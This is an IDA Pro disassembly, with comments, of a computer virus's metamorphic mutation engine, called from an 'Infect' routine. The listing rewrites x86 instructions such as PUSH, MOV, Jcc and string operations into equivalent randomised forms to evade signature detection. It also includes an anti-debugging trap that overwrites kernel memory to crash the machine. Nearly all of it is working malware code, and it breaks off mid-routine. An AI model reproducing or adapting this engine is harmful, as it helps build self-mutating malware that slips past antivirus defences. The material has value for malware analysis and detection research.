; ; ___________________________________________________________________________ ; _ This file is generated by The Interactive Disassembler (IDA) _ ; _ Copyright (c) 2005 by DataRescue sa/nv, <ida@datarescue.com> _ ; ___________________________________________________________________________ ; ; ___________________________________________________________________________ ; START OF FUNCTION CHUNK FOR MetaEngine AntiDebug: ; CODE XREF: CODE:00401068j ; MetaEngine+1E9j cmp byte ptr [ebx+7], 0BFh ; are we in kernel mode? jnz short ret_AntiDebug mov ecx, 1000h ; counter = 1000h mov edi, 40000000h or edi, 80000000h add edi, ecx ; edi = C0001000h rep stosd ; copy bytes to edi ret_AntiDebug: ; CODE XREF: MetaEngine-17j retn ; return ; END OF FUNCTION CHUNK FOR MetaEngine ; this will result in a crash ; since this routine wasn't CALLed ; _______________ S U B R O U T I N E _______________________________________ ; Attributes: bp-based frame MetaEngine proc near ; CODE XREF: Infect+11Bp RelocStart = dword ptr -8 RelocCurrent = dword ptr -4 inBuf = dword ptr 8 sizeOfCode = dword ptr 0Ch outBuf = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi ; save registers push edi mov eax, [ebp+sizeOfCode] ; eax = size of code shl eax, 4 ; multiply by 16 push eax call callVirtualAlloc ; allocate memory mov [ebp+RelocStart], eax ; save pointer mov [ebp+RelocCurrent], eax mov esi, [ebp+inBuf] ; esi = *source buffer mov edi, [ebp+outBuf] ; edi = *destination buffer LoadInstruction: ; CODE XREF: MetaEngine+52j ; MetaEngine+ABj ... mov ebx, [ebp+RelocCurrent] add [ebp+RelocCurrent], 10h ; allocate 16 bytes for each instruction mov [ebx], esi ; set Pointer to Instruction in the Input Buffer mov [ebx+4], edi ; set Pointer to Mutated Instruction in Output Buffer xor eax, eax ; eax = 0 mov [ebx+8], eax ; set Pointer to offset of New Relative = 0 cmp esi, [ebp+inBuf] ; are we in the beginning of the code? jz isJccShort ; yes, start analyzing the code mov eax, esi ; eax = *current instruction sub eax, [ebp+inBuf] ; eax -= *start address cmp eax, [ebp+sizeOfCode] ; are we done? jnb FixRelocations mov al, [esi] ; al = opcode cmp al, 90h ; NOP? jnz short isPushR32 add esi, 1 ; increase counter (instruction not stored) jmp short LoadInstruction ; load next instruction ; ___________________________________________________________________________ isPushR32: ; CODE XREF: MetaEngine+4Dj mov cl, [edi-1] ; cl = last written byte cmp cl, 50h ; PUSH EAX? jb isJccShort cmp cl, 52h ; PUSH EAX/ECX/EDX? ja isJccShort mov eax, [ebx] ; eax = [ebx] = [[DisasmCurrent]] sub eax, [ebx-10h] ; eax -= [[DisasmCurrent]-16] cmp eax, 1 ; was it only a 1-byte instruction? jnz isJccShort ; no, disasm next instruction call Rnd7 ; returns random eax (0 to 7) jnz isJccShort ; mutate? sub cl, 50h ; get the register used MutatePush: ; CODE XREF: MetaEngine+D0j ; MetaEngine+EAj call Random ; get random number and al, 3 ; make it between 0 - 3 cmp al, 1 ; al = 1? jz short MakeMovRegRandom32 cmp al, 2 ; al = 2? jz short MakeOpRegRandomReg cmp al, 3 ; al = 3? jz short MakeMovRegRandom8 mov al, 8Bh ; al = MOV r32, r/m32 stosb ; store mov al, cl ; al = register rol al, 3 ; place it in the [reg/opcode] field or al, 1000101b ; set [mod] = 01, [reg] = 101 (ebp) stosb ; store call Random ; get random number and al, 3Ch ; make it between 0 to 3C stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMovRegRandom32: ; CODE XREF: MetaEngine+8Ej mov al, cl ; al = register add al, 0B8h ; MOV r32,imm32 stosb ; store call GetRandomDword ; get random dword stosd ; store dword jmp LoadInstruction ; ___________________________________________________________________________ MakeOpRegRandomReg: ; CODE XREF: MetaEngine+92j call Random ; get random number mov ah, al ; save it in ah or ah, 11000000b ; set [mod] = 11 and ah, 11111000b ; clear [reg] field cmp ah, 11111000b ; is [reg/opcode] == 111 (CMP)? jz short MutatePush ; try another mutation mov al, 81h ; al = OP r/m32, imm32 ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) stosb ; store mov al, ah ; al = random ModRM add al, cl ; add register stosb ; store call GetRandomDword ; get random dword stosd ; store dword jmp LoadInstruction ; ___________________________________________________________________________ MakeMovRegRandom8: ; CODE XREF: MetaEngine+96j mov al, [edi-1] ; al = last written opcode cmp al, 54h ; PUSH ESP/EBP/ESI/EDI? jnb short MutatePush ; avoid call Random ; get random number and al, 100b ; make it 0 to 4 add al, cl ; add register add al, 0B0h ; al = MOV r8, imm8 stosb ; store call Random ; get random byte stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ isJccShort: ; CODE XREF: MetaEngine+35j ; MetaEngine+5Aj ... mov al, [esi] ; al = opcode cmp al, 70h ; is it a Jcc? jb short isBranchShort cmp al, 80h ; if it's between 70h to 7Fh, it is a Jcc jb short ModifyJcc cmp al, 0EBh ; is it a JMP short? jnz short isBranchShort mov al, 0E9h ; Generate a JMP near jmp short ModifyJccAddress ; ___________________________________________________________________________ ModifyJcc: ; CODE XREF: MetaEngine+10Bj mov byte ptr [edi], 0Fh ; set 0F opcode add al, 10h ; add 10h ; (70 xx = JO short xx) ; (0F 80 xx = JO near xx) add edi, 1 ; increase output counter ModifyJccAddress: ; CODE XREF: MetaEngine+113j stosb ; store mov [ebx+8], edi ; save edi in the OffsetNewRelative field mov al, [esi+1] ; al = relative address add al, 2 ; al += 2, because we added two bytes call InvertSign mov [ebx+0Ch], eax ; save eax in the NewRelative field add esi, 2 ; increase code pointer by 2 add edi, 4 ; increase output pointer by 4 (dword) jmp LoadInstruction ; ___________________________________________________________________________ isBranchShort: ; CODE XREF: MetaEngine+107j ; MetaEngine+10Fj cmp al, 0E8h ; a CALL short? jz short ModifyBranchAddress cmp al, 0E9h ; a JMP short? jz short ModifyBranchAddress cmp al, 0Fh ; a special opcode 0F? jnz short isEspUsed mov cl, [esi+1] ; get next byte cmp cl, 80h ; Jcc near? jb AbortEngine ; is it between 80h and 90h? cmp cl, 90h ; The engine doesn't support 0F xx instructions jnb AbortEngine stosb ; store 0F opcode add esi, 1 ; increase code pointer mov al, cl ; al = second opcode ModifyBranchAddress: ; CODE XREF: MetaEngine+13Bj ; MetaEngine+13Fj stosb ; save branch type mov [ebx+8], edi ; save edi in the OffsetNewRelative field add esi, 1 ; increase code pointer lodsd ; load the address add eax, 4 ; eax += 4 sub eax, [ebx+4] ; get OutputIP add eax, edi ; add OutputBuffer mov [ebx+0Ch], eax ; save eax in the NewRelative field add edi, 4 ; increase output pointer by 4 (dword) jmp LoadInstruction ; ___________________________________________________________________________ isEspUsed: ; CODE XREF: MetaEngine+143j cmp al, 81h ; OP r/m32, imm32? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jnz short isRet_isC0_is83 mov ah, [esi+1] ; ah = ModRM cmp ah, 0C4h ; ADD ESP, imm32? jz short Store6Bytes ; avoid cmp ah, 0ECh ; SUB ESP, imm32? jnz short isRet_isC0_is83 ; avoid Store6Bytes: ; CODE XREF: MetaEngine+185j mov cl, 6 jmp StoreBytes ; ___________________________________________________________________________ isRet_isC0_is83: ; CODE XREF: MetaEngine+17Dj ; MetaEngine+18Aj cmp al, 0C3h ; RET? jnb short isD0_D4 cmp al, 0C0h ; OP r/m8, imm8? ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR) jnb short Store3Bytes cmp al, 83h ; OP r/m32, imm8? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jnz short isD0_D4 mov ah, [esi+1] ; ah = ModRM cmp ah, 0C4h ; ADD ESP, imm8? jz short Store3Bytes ; avoid cmp ah, 0ECh ; SUB ESP, imm8? jnz short isD0_D4 ; avoid Store3Bytes: ; CODE XREF: MetaEngine+199j ; MetaEngine+1A5j mov cl, 3 jmp StoreBytes ; ___________________________________________________________________________ isD0_D4: ; CODE XREF: MetaEngine+195j ; MetaEngine+19Dj ... cmp al, 0D0h ; OP r/m8, imm8? ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR) jb short isInt_isMovEbpEsp cmp al, 0D4h ; D0 - D3 jb short Store2Bytes ; avoid isInt_isMovEbpEsp: ; CODE XREF: MetaEngine+1B5j cmp al, 0CDh ; INT? jz short Store2Bytes ; avoid cmp al, 8Bh ; MOV r32, r/m32? jnz short isRep_isF6_isF7 cmp byte ptr [esi+1], 0ECh ; 8B EC = MOV EBP, ESP jz short CheckRegOpcodeField isRep_isF6_isF7: ; CODE XREF: MetaEngine+1C1j cmp al, 0F3h ; REP prefix? jz short Store2Bytes ; avoid cmp al, 0F6h ; OP r/m8? ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) jz short CheckRegOpcodeField cmp al, 0F7h ; OP r/m32? ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) jnz short isInt3_Ret_PushReg CheckRegOpcodeField: ; CODE XREF: MetaEngine+1C7j ; MetaEngine+1CFj mov ah, [esi+1] ; ah = ModRM and ah, 111000b ; save [reg/opcode] field cmp ah, 0 ; is it empty? jz short isInt3_Ret_PushReg ; yes, skip Store2Bytes: ; CODE XREF: MetaEngine+1B9j ; MetaEngine+1BDj ... mov cl, 2 jmp StoreBytes ; ___________________________________________________________________________ isInt3_Ret_PushReg: ; CODE XREF: MetaEngine+1D3j ; MetaEngine+1DEj cmp al, 0CCh ; INT 3? jz AntiDebug cmp al, 0C3h ; RET? jz short StoreOneByteOpcode cmp al, 50h ; PUSH r32 / POP r32? jb short isMovTestRmReg cmp al, 60h ; check if it's between 50 to 60 jnb short isMovTestRmReg StoreOneByteOpcode: ; CODE XREF: MetaEngine+1F1j movsb ; copy one byte from source to destination jmp LoadInstruction ; ___________________________________________________________________________ isMovTestRmReg: ; CODE XREF: MetaEngine+1F5j ; MetaEngine+1F9j cmp al, 88h ; MOV r/m8, r8? jz short Mutate? cmp al, 89h ; MOV r/m32, r32? jz short Mutate? cmp al, 84h ; TEST r/m8, r8? jz short Mutate? cmp al, 85h ; TEST r/m32, r32? jz short Mutate? cmp al, 40h ; is opcode < 40? jnb short isMovLeaRegRm mov ah, al ; ah = opcode and ah, 111b ; save last 3 bits cmp ah, 0 ; OP r/m8, r8 jz short Mutate? cmp ah, 1 ; OP r/m32, r32? jnz short isMovLeaRegRm Mutate?: ; CODE XREF: MetaEngine+203j ; MetaEngine+207j ... call Rnd7 ; returns random eax (0 to 7) jz short CheckModRM ; mutate if eax = 0 (1/8 probability) jmp StoreDisplacementPlus2 ; else, skip this instruction ; ___________________________________________________________________________ CheckModRM: ; CODE XREF: MetaEngine+229j mov cl, [esi+1] ; cl = ModRM and cl, 11000000b ; save the [mod] field cmp cl, 0 ; [mod] == 00? jz short jmp_Mutate cmp cl, 11000000b ; [mod] == 11? jz short jmp_Mutate call Random ; get random number and al, 1 ; make it 0 or 1 cmp al, 0 ; is it 0? jz Morph1 ; mutate jmp_Mutate: ; CODE XREF: MetaEngine+239j ; MetaEngine+23Ej jmp Morph2 ; mutate ; ___________________________________________________________________________ isMovLeaRegRm: ; CODE XREF: MetaEngine+213j ; MetaEngine+222j cmp al, 8Ah ; MOV r8, r/m8? jz short _Mutate? cmp al, 8Bh ; MOV r32, r/m32? jz short _Mutate? cmp al, 8Dh ; LEA r32, mem? jz short _Mutate? cmp al, 40h ; is opcode < 40? jnb short isFE_isFF mov ah, al and ah, 111b ; keep last 3 bits cmp ah, 2 ; OP r8, r/m8? jz short _Mutate? cmp ah, 3 ; OP r32, r/m32? jnz short isFE_isFF _Mutate?: ; CODE XREF: MetaEngine+256j ; MetaEngine+25Aj ... call Rnd7 ; returns random eax (0 to 7) jz short _CheckModRM ; mutate if eax = 0 (1/8 probability) jmp StoreDisplacementPlus2 ; else, skip this instruction ; ___________________________________________________________________________ _CheckModRM: ; CODE XREF: MetaEngine+278j mov cl, [esi+1] ; cl = ModRM and cl, 11000000b ; save the [mod] field cmp cl, 0 ; [mod] == 00? jz short _jmp_Mutate cmp cl, 11000000b ; [mod] == 11? jz short _jmp_Mutate call Random ; get random number and al, 1 ; make it 1 or 0 cmp al, 0 ; is it zero? jz Morph1 ; mutate _jmp_Mutate: ; CODE XREF: MetaEngine+288j ; MetaEngine+28Dj jmp Morph3 ; mutate ; ___________________________________________________________________________ isFE_isFF: ; CODE XREF: MetaEngine+262j ; MetaEngine+271j cmp al, 0FEh ; INC/DEC r/m8? jz short MakeMovRegPushReg cmp al, 0FFh ; OP r/m32? ; (INC/DEC/JMP/CALL/PUSH) jnz short isMovReg8Imm8? MakeMovRegPushReg: ; CODE XREF: MetaEngine+2A5j mov al, [esi+1] ; al = ModRM and al, 111000b ; keep the [reg/opcode] field ror al, 3 ; place it in the [reg] field cmp al, 111b ; opcode == 111? jz AbortEngine ; exit engine cmp al, 110b ; opcode != 110 (PUSH)? jnz StoreDisplacementPlus2 ; skip mov al, 8Bh ; Generate MOV EAX, r/m32 stosb ; store mov al, [esi+1] ; al = ModRM and al, 11000111b ; keep [mod] and [reg] fields ; set [reg/opcode] = 000 stosb ; store ModRM byte call CheckDisplacement ; returns cl: 0, 1 or 4 add esi, 2 ; increase code counter by 2 rep movsb ; store address mov al, 50h ; Generate PUSH EAX stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ isMovReg8Imm8?: ; CODE XREF: MetaEngine+2A9j cmp al, 0B0h ; MOV r8, imm8? jb short isMovReg32Imm32 cmp al, 0B8h ; check if it's between B0 to B8 jnb short isMovReg32Imm32 call Rnd7 ; returns random eax (0 to 7) jz short MakeAddRegRandom8 ; mutate? mov cl, 2 ; skip jmp StoreBytes ; ___________________________________________________________________________ MakeAddRegRandom8: ; CODE XREF: MetaEngine+2EBj ; MetaEngine+2FBj call Random ; get random and al, 11b ; make it between 1 - 3 jz short MakeAddRegRandom8 ; if it's zero, try again mov dh, al ; dh = random selection movsb ; store opcode call Random ; get random number mov cl, al ; save it in CL stosb ; store random byte mov al, 80h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR stosb ; store operation mov al, [esi-1] ; get original instruction opcode sub al, 0B0h ; subtract opcode, al = register used cmp dh, 2 ; if random == 2, Generate SUB jz short MakeSubRegRandom8 cmp dh, 3 ; if random == 3, Generate XOR jz short MakeXorRegRandom8 or al, 11000000b ; Generate ADD (ModRM = 11 000 reg) stosb ; store ModRM lodsb ; load the original immediate value sub al, cl ; subtract the random value stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeSubRegRandom8: ; CODE XREF: MetaEngine+313j or al, 11101000b ; Generate SUB (ModRM = 11 101 reg) stosb ; store ModRM lodsb ; load the original immediate value sub al, cl ; al -= random value mov ah, al ; save al in ah mov al, 0 sub al, ah ; al = -al stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeXorRegRandom8: ; CODE XREF: MetaEngine+318j or al, 11110000b ; Generate XOR (ModRM = 11 110 reg) stosb ; store ModRM lodsb ; load the original immediate value xor al, cl ; xor the value with a random value stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ isMovReg32Imm32: ; CODE XREF: MetaEngine+2E0j ; MetaEngine+2E4j cmp al, 0B8h ; MOV r32, imm32? jb short MakeMovPush1 cmp al, 0C0h ; check if it's between B8 - C0 jnb short MakeMovPush1 call Rnd7 ; returns random eax (0 to 7) jz short MakeAddRegRandom32 ; mutate? mov cl, 5 ; skip jmp StoreBytes ; ___________________________________________________________________________ MakeAddRegRandom32: ; CODE XREF: MetaEngine+351j ; MetaEngine+363j call Random ; get random number and al, 11b ; make it between 1 - 3 cmp al, 0 ; if it's zero, jz short MakeAddRegRandom32 ; then try again mov ah, al ; ah = random selection movsb ; store opcode call GetRandomDword ; returns a random dword in EAX mov ecx, eax ; ecx = random dword stosd ; store random dword mov al, 81h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR stosb ; store operation mov al, [esi-1] ; get original instruction opcode sub al, 0B8h ; get the register used cmp al, 2 ; if random == 2, Generate SUB jz short MakeSubRegRandom32 cmp al, 3 ; if random == 3, Generate XOR jz short MakeXorRegRandom32 or al, 11000000b ; Generate ADD (ModRM = 11 000 reg) stosb ; store ModRM lodsd ; load the original immediate value sub eax, ecx ; subtract the random value stosd ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeSubRegRandom32: ; CODE XREF: MetaEngine+37Aj or al, 11101000b ; Generate SUB (ModRM = 11 101 reg) stosb ; store ModRM lodsd ; load the original immediate value sub eax, ecx ; eax -= random mov ecx, eax ; save eax mov eax, 0 sub eax, ecx ; eax = -eax stosd ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeXorRegRandom32: ; CODE XREF: MetaEngine+37Ej or al, 11110000b ; Generate XOR (ModRM = 11 110 reg) stosb ; store ModRM lodsd ; load the original immediate value xor eax, ecx ; xor the value with a random value stosd ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMovPush1: ; CODE XREF: MetaEngine+346j ; MetaEngine+34Aj cmp al, 68h ; PUSH imm32? jnz short MakeMovPush2 add esi, 1 ; increase code pointer mov al, 0B8h ; Generate MOV r32, imm32 stosb ; store movsd ; write next 4 bytes mov al, 50h ; Generate PUSH r32 stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMovPush2: ; CODE XREF: MetaEngine+3AFj cmp al, 6Ah ; PUSH imm8? jnz short MakeMOVSB add esi, 1 ; increase code pointer mov al, 0B8h ; make MOV r32, imm32 stosb ; store lodsb ; load byte (imm8) call InvertSign stosd ; store dword (imm32) mov al, 50h ; make PUSH r32 stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMOVSB: ; CODE XREF: MetaEngine+3C2j cmp al, 0A4h ; MOVSB? jnz short MakeMOVSD add esi, 1 ; Replace A4 with the following sequence: mov eax, 83068A50h ; 50 push eax stosd ; 8A 06 mov al, [esi] mov eax, 78801C6h ; 83 C6 01 add esi, 1 stosd ; 88 07 mov [edi], al mov eax, 5801C783h ; 83 C7 01 add edi, 1 stosd ; 58 pop eax jmp LoadInstruction ; ___________________________________________________________________________ MakeMOVSD: ; CODE XREF: MetaEngine+3DBj cmp al, 0A5h ; MOVSD? jnz short MakeSTOSB add esi, 1 ; Replace A5 with the following sequence: mov eax, 83068B50h ; 50 push eax stosd ; 8B 06 mov eax, [esi] mov eax, 78904C6h ; 83 C6 04 add esi, 4 stosd ; 89 07 mov [edi], eax mov eax, 5804C783h ; 83 C7 04 add edi, 4 stosd ; 58 pop eax jmp LoadInstruction ; ___________________________________________________________________________ MakeSTOSB: ; CODE XREF: MetaEngine+3F9j cmp al, 0AAh ; STOSB? jnz short MakeSTOSD add esi, 1 ; Replace AA with the following sequence: mov eax, 0C7830788h ; 88 07 mov [edi], al stosd ; 83 C7 01 add edi, 1 mov al, 1 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeSTOSD: ; CODE XREF: MetaEngine+417j cmp al, 0ABh ; STOSD? jnz short MakeLODSB add esi, 1 ; Replace AB with the following sequence: mov eax, 0C7830789h ; 88 07 mov [edi], eax stosd ; 83 C7 04 add edi, 4 mov al, 4 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeLODSB: ; CODE XREF: MetaEngine+42Cj cmp al, 0ACh ; LODSB? jnz short MakeLODSD add esi, 1 ; Replace AC with the following sequence: mov eax, 0C683068Ah ; 8A 06 mov al, [esi] stosd ; 83 C6 01 add esi, 1 mov al, 1 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeLODSD: ; CODE XREF: MetaEngine+441j cmp al, 0ADh ; LODSD? jnz short MakeOpRm8Imm8 add esi, 1 ; Replace AD with the following sequence: mov eax, 0C683068Bh ; 8B 06 mov eax, [esi] stosd ; 83 C6 04 add esi, 4 mov al, 4 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeOpRm8Imm8: ; CODE XREF: MetaEngine+456j cmp al, 40h ; opcode < 40? jnb short MakeTestImm8 mov ah, al and ah, 111b ; save last 3 bits cmp ah, 4 ; OP AL, imm8? jnz short MakeOpEaxImm32 mov al, 80h ; Generate OP r/m8, imm8 ; ADC/ADD/AND/CMP/OR/SBB/SUB/XOR stosb mov al, [esi] ; load the same instruction again and al, 111000b ; keep the [reg/opcode] field or al, 11000000b ; set [mod] = 11 stosb ; store add esi, 1 ; increase code pointer movsb ; copy imm8 byte jmp LoadInstruction ; ___________________________________________________________________________ MakeTestImm8: ; CODE XREF: MetaEngine+46Bj cmp al, 0A8h ; TEST AL, imm8? jnz short MakeOpEaxImm32 add esi, 1 ; incrase code pointer by 1 mov al, 0F6h ; Replace A8 with the following sequence: stosb ; F6 C0 xx test al, xx mov al, 0C0h stosb movsb ; load and store immediate byte jmp LoadInstruction ; ___________________________________________________________________________ MakeOpEaxImm32: ; CODE XREF: MetaEngine+475j ; MetaEngine+48Cj cmp al, 40h ; opcode < 40? jnb short MakeTestEaxImm32 mov ah, al ; ah = opcode and ah, 111b ; save last 3 bits cmp ah, 5 ; OP EAX, imm32? jnz short isOp8Imm8 mov al, 81h ; Generate OP r/m32, imm32 ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) stosb ; store mov al, [esi] ; al = current opcode and al, 111000b ; keep the [opcode] field or al, 11000000b ; set [mod] = 11 stosb ; store ModRM byte add esi, 1 ; increase code pointer movsd ; copy immediate dword jmp LoadInstruction ; ___________________________________________________________________________ MakeTestEaxImm32: ; CODE XREF: MetaEngine+49Fj cmp al, 0A9h ; TEST EAX, imm32? jnz short isOp8Imm8 add esi, 1 ; Replace A8 with the following sequence: mov al, 0F7h ; F6 0C DD CC BB AA test eax, AABBCCDDh stosb mov al, 0C0h stosb movsd ; load and store immediate dword jmp LoadInstruction ; ___________________________________________________________________________ isOp8Imm8: ; CODE XREF: MetaEngine+4A9j ; MetaEngine+4C0j mov ah, al and ah, 11111110b ; save all bits, but the 'w' bit cmp ah, 80h ; OP r/m8,imm8? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jz short SaveOpcodeField cmp ah, 0C6h ; MOV r/m8, imm8? jz short SaveMovImm8Opcode cmp ah, 0F6h ; OP r/m8? ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) jnz short Change8bitTo32bit mov bh, 84h ; bh = TEST r/m8, r8 jmp short __jmp_Mutate ; ___________________________________________________________________________ SaveOpcodeField: ; CODE XREF: MetaEngine+4D9j mov bh, [esi+1] ; bh = ModRM of 80h and bh, 111000b ; save [reg/opcode] field jmp short __jmp_Mutate ; mutate ; ___________________________________________________________________________ SaveMovImm8Opcode: ; CODE XREF: MetaEngine+4DEj mov bh, 88h ; bh = MOV r/m8, r8 __jmp_Mutate: ; CODE XREF: MetaEngine+4E7j ; MetaEngine+4EFj jmp Morph4 ; mutate ; ___________________________________________________________________________ Change8bitTo32bit: ; CODE XREF: MetaEngine+4E3j cmp al, 83h ; OP r/m32, imm8? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jnz short AbortEngine mov al, 81h ; OP r/m32, imm32 stosb ; store mov al, [esi+1] ; al = ModRM stosb ; store call CheckDisplacement ; returns cl: 0, 1 or 4 add esi, 2 ; increase code pointer by 2 rep movsb ; copy displacement lodsb ; load one byte call InvertSign stosd ; store dword jmp LoadInstruction ; ___________________________________________________________________________ FixRelocations: ; CODE XREF: MetaEngine+43j mov ebx, edi sub ebx, [ebp+outBuf] ; ebx = size of output buffer mov esi, [ebp+RelocStart] ; esi = beginning of relocation table AnalyzeCurrentEntry: ; CODE XREF: MetaEngine+52Fj ; MetaEngine+555j add esi, 10h ; esi += 16 cmp esi, [ebp+RelocCurrent] ; are we finished? jz short ReturnSuccess mov edi, [esi+8] ; Pointer to offset of New Relative cmp edi, 0 ; is it blank? jz short AnalyzeCurrentEntry ; process next instruction mov edx, [esi+0Ch] ; get New Relative Value add edx, [esi] ; edx = InputIP + NewRelative mov ecx, [ebp+RelocStart] ; ecx = pointer to disassembled code sub ecx, 10h ; ecx -= 16 (for inter-loop reasons) NextEntry: ; CODE XREF: MetaEngine+54Aj add ecx, 10h ; check next entry cmp ecx, [ebp+RelocCurrent] ; are we done? jnz short LoopOverFirstEntry ; no, proceed to loop over 1st field entries mov ecx, [esi] ; Save the InputIP jmp short ReturnZero ; ___________________________________________________________________________ LoopOverFirstEntry: ; CODE XREF: MetaEngine+542j cmp [ecx], edx ; edx = InputIP + NewRelative ; *ecx = InputIP jnz short NextEntry mov eax, [ecx+4] ; eax = OutputIP sub eax, edi ; eax = OutputIP - ; OffsetNewNewRelative sub eax, 4 ; eax -= 4, due to earlier calculations stosd ; store NewRelative in OffsetNewRelative jmp short AnalyzeCurrentEntry ; ___________________________________________________________________________ ReturnSuccess: ; CODE XREF: MetaEngine+527j mov eax, ebx ; eax = size of buffer jmp short FreeMemory ; ___________________________________________________________________________ AbortEngine: ; CODE XREF: MetaEngine+14Bj ; MetaEngine+154j ... mov ecx, esi ; ecx = pointer to code ReturnZero: ; CODE XREF: MetaEngine+546j xor eax, eax ; eax = 0 FreeMemory: ; CODE XREF: MetaEngine+559j push eax ; save return value mov eax, [ebp+RelocStart] ; eax = start of disassembly buffer push eax call callVirtualFree ; free memory pop eax ; restore return value pop edi pop esi ; restore registers pop ebx add esp, 8 pop ebp nop retn 0Ch MetaEngine endp ; _______________ S U B R O U T I N E _______________________________________ ; returns random eax (0 to 7) Rnd7 proc near ; CODE XREF: MetaEngine+77p ; MetaEngine:Mutate?p ... call Random and eax, 111b cmp eax, 0 retn Rnd7 endp ; ___________________________________________________________________________ ; START OF FUNCTION CHUNK FOR MetaEngine StoreDisplacementPlus2: ; CODE XREF: MetaEngine+22Bj ; MetaEngine+27Aj ... call CheckDisplacement ; returns cl: 0, 1 or 4 add cl, 2 ; 2 more bytes StoreBytes: ; CODE XREF: MetaEngine+18Ej ; MetaEngine+1AEj ... and ecx, 0FFh ; and the cl bits rep movsb ; write until cl = 0 jmp LoadInstruction ; END OF FUNCTION CHUNK FOR MetaEngine ; _______________ S U B R O U T I N E _______________________________________ ; returns cl: 0, 1 or 4 CheckDisplacement proc near ; CODE XREF: MetaEngine+2CCp ; MetaEngine+503p ... xor ecx, ecx ; ecx = 0 mov cl, [esi+1] ; cl = ModRM and cl, 11000000b cmp cl, 0 ; [mod] == 00? jz short ret_CheckDisplacement cmp cl, 11000000b ; [mod] == 11? jnz short isMod01 mov cl, 0 ; no displacement jmp short ret_CheckDisplacement ; ___________________________________________________________________________ isMod01: ; CODE XREF: CheckDisplacement+10j cmp cl, 1000000b ; [mod] == 01? jnz short Mod10 mov cl, 1 ; 1 byte displacement jmp short ret_CheckDisplacement ; ___________________________________________________________________________ Mod10: ; CODE XREF: CheckDisplacement+19j mov cl, 4 ; 4 bytes displacement ret_CheckDisplacement: ; CODE XREF: CheckDisplacement+Bj ; CheckDisplacement+14j ... retn CheckDisplacement endp ; _______________ S U B R O U T I N E _______________________________________ InvertSign proc near ; CODE XREF: MetaEngine+126p ; MetaEngine+3CBp ... push ecx xor ecx, ecx ; ecx = 0 cmp al, 0 jns short DontInvert sub ecx, 1 DontInvert: ; CODE XREF: InvertSign+5j mov cl, al mov eax, ecx ; return value in eax pop ecx retn InvertSign endp ; _______________ S U B R O U T I N E _______________________________________ ; returns a random dword in EAX ; Attributes: bp-based frame GetRandomDword proc near ; CODE XREF: MetaEngine+B5p ; MetaEngine+DAp ... push ebp mov ebp, esp push ecx push edx call